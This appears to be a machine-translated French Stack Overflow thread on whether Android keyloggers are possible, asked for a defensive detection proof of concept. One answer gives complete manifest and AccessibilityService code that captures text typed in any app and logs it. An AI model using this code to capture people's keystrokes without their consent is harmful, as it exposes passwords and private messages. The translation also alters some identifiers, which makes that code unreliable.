web-dev-qa-db-fra.com

Android Enregistreur de frappe

Intro: Je veux créer un POC sur Android Sécurité qui nécessite d'identifier s'il y a un KeyLogger en cours d'exécution sur Android appareil ou non. Et s'il fonctionne) ou installé sur l'appareil, désactivez-le dans mon Android.

Requêtes:

1.) Est-il possible de créer Android keyloggers qui intercepte les événements du clavier et s'exécute en arrière-plan en tant que services?

2.) Est-il possible d'identifier si l'un des processus d'arrière-plan gère les événements de clavier?

3.) Puis-je arrêter tout autre service d'arrière-plan (qui n'appartient pas à moi) avec mon code d'application?

Veuillez m'aider avec des liens appropriés si vous en avez.

21
Avtar Guleria

Après des recherches pendant 1 journée entière, je suis arrivé à la conclusion ci-dessous.

Android ne vous permet pas d'intercepter les entrées de clavier logiciel par défaut des services d'arrière-plan. Les seuls moyens d'intercepter ces événements sont des claviers personnalisés.

Je l'ai résumé comme suit:

Dans Android L'enregistrement des touches pour les événements clavier n'est pas pris en charge dans les services d'arrière-plan. Certains des liens sont les suivants:

Point 1: Google Android Développeur

Étant donné que les méthodes de saisie logicielle peuvent utiliser des méthodes de saisie de texte multiples et inventives, il n'y a aucune garantie qu'une pression sur un clavier logiciel génère un événement clé: cela est laissé à la discrétion de l'IME, et en fait, l'envoi de tels événements est déconseillé. Vous ne devez jamais compter sur la réception de KeyEvents pour une clé sur une méthode de saisie logicielle. En particulier, le clavier logiciel par défaut n'enverra jamais d'événement clé à une application ciblant Jelly Bean ou une version ultérieure, et n'enverra des événements que pour certaines pressions sur les touches de suppression et de retour aux applications ciblant Ice cream sandwich ou une version antérieure.

http://developer.Android.com/reference/Android/view/KeyEvent.html

Android Jelly bean est: 4.1 à 4.3.1 Android Sandwich IceCream: 4.0

Les pressions sur les méthodes de saisie logicielle ne sont pas nécessaires pour déclencher les méthodes dans cet écouteur et sont en fait déconseillées de le faire. Le clavier par défaut Android ne les déclenchera pour aucune touche d'une application ciblant Jelly bean ou version ultérieure, et ne le fournira que pour certaines pressions de touches aux applications ciblant Sandwich à la crème glacée ou version antérieure.

http://developer.Android.com/reference/Android/text/method/KeyListener.html

Point 2: Débordement de pile Les événements de clé ne peuvent être gérés que par Activités, car ils sont l'interface avec l'utilisateur qui appuie sur les touches et uniquement lorsqu'ils sont au premier plan. Même les services qui s'exécutent en arrière-plan ne sont pas destinés à réagir à l'entrée de l'utilisateur.

Android - Écouteur pour appuyer sur les touches fixes en arrière-plan

Est-il possible de créer un Android Service qui écoute les pressions de touches matérielles?

Point 3: Romain Guy Romain Guy ( https://stackoverflow.com/users/298575/romain-guy ) qui fonctionne pour Google le confirme également onKeyDown dans un service? (Global Hot Keys)

Point 4 : Quelques autres références:

Groupe de développeurs Google Android: https://groups.google.com/forum/#!topic/Android-developers/o--GUWmqXdI

Cela ne peut être fait qu'en utilisant un clavier personnalisé: appuyez sur la touche et lancez une autre clé dans Android

Veuillez ajouter vos commentaires si vous pensez que j'ai raté quelque chose.

6
Avtar Guleria

Je sais que cette question a déjà une réponse acceptée mais je ne suis pas d'accord avec la réponse acceptée!
Cela peut être fait dans Android via les API d'accessibilité.
Jetez un œil au programme ci-dessous:

Type Machine

Il utilise les API d'accessibilité et stocke correctement chaque frappe de touche que vous tapez dans n'importe quelle application, ce qui est essentiellement ce que fait un enregistreur de frappe!
EDIT: Je ne sais pas exactement ce que TypeMachine utilise, mais vous devriez pouvoir obtenir le texte du service d'accessibilité en utilisant cette méthode . Par exemple, le code suivant peut être utilisé pour obtenir un nouveau texte:

void onViewTextChanged(AccessibilityEvent accessibilityEvent, AccessibilityNodeInfo accessibilityNodeInfo) {
     List text = accessibilityEvent.getText();
     CharSequence latestText = (CharSequence) text.get(0);
     Log.i(MY_TAG, latestText.toString());
}
21
ananth

Pour faire suite à la réponse de @ ananth , voici un exemple de code complet sur la façon d'implémenter un enregistreur de frappe à l'aide du service d'accessibilité.

Mais cela nécessite des autorisations pour lier votre service au système et l'utilisateur doit également activer explicitement le service que vous créez en naviguant vers Paramètres > Accessibilité > {Le nom de votre application} sur Android appareils. Donc, si vous avez mauvaises intentions, bonne chance avec ça.

Étape 1: collez-le dans votre fichier manifeste.

<application>
...
<service Android:name=".MyAccessibilityService"
            Android:permission="Android.permission.BIND_ACCESSIBILITY_SERVICE">
            <intent-filter>
                <action Android:name="Android.accessibilityservice.AccessibilityService" />
            </intent-filter>
</service>
</application>

Étape 2: créez une classe pour votre service d'accessibilité.

public class MyAccessibilityService extends AccessibilityService {
    @Override
    public void onAccessibilityEvent(AccessibilityEvent event) {
        final int eventType = event.getEventType();
        String eventText = null;
        switch(eventType) {
            /*
                You can use catch other events like touch and focus

                case AccessibilityEvent.TYPE_VIEW_CLICKED:
                     eventText = "Clicked: ";
                     break;
                case AccessibilityEvent.TYPE_VIEW_FOCUSED:
                     eventText = "Focused: ";
                     break;
            */
            case AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED:
                eventText = "Typed: ";
                break;
        }
        eventText = eventText + event.getText();

        //print the typed text in the console. Or do anything you want here.
        System.out.println("ACCESSIBILITY SERVICE : "+eventText);

    }

    @Override
    public void onInterrupt() {
        //whatever
    }

    @Override
    public void onServiceConnected() {
        //configure our Accessibility service
        AccessibilityServiceInfo info=getServiceInfo();
        info.eventTypes = AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED;
        info.feedbackType = AccessibilityServiceInfo.FEEDBACK_SPOKEN;
        info.notificationTimeout = 100;
        this.setServiceInfo(info);
    }

}

C'est tout. Désormais, tout ce que l'utilisateur saisit dans n'importe quelle application sur son téléphone sera enregistré sur la console. Vous pouvez configurer la classe ci-dessus pour écouter les frappes de touches de certaines applications spécifiées uniquement si vous le souhaitez. La classe ci-dessus est indépendante de votre MainActivity. Le service sera enregistré dès que votre application sera installée. Mais, encore une fois, pour fonctionner, cela nécessite un basculement manuel des paramètres comme mentionné précédemment.

Lire les documents pour une explication détaillée sur ce qu'est l'accessibilité et des détails sur chacune des classes et méthodes utilisées ci-dessus.

15
Nandan Desai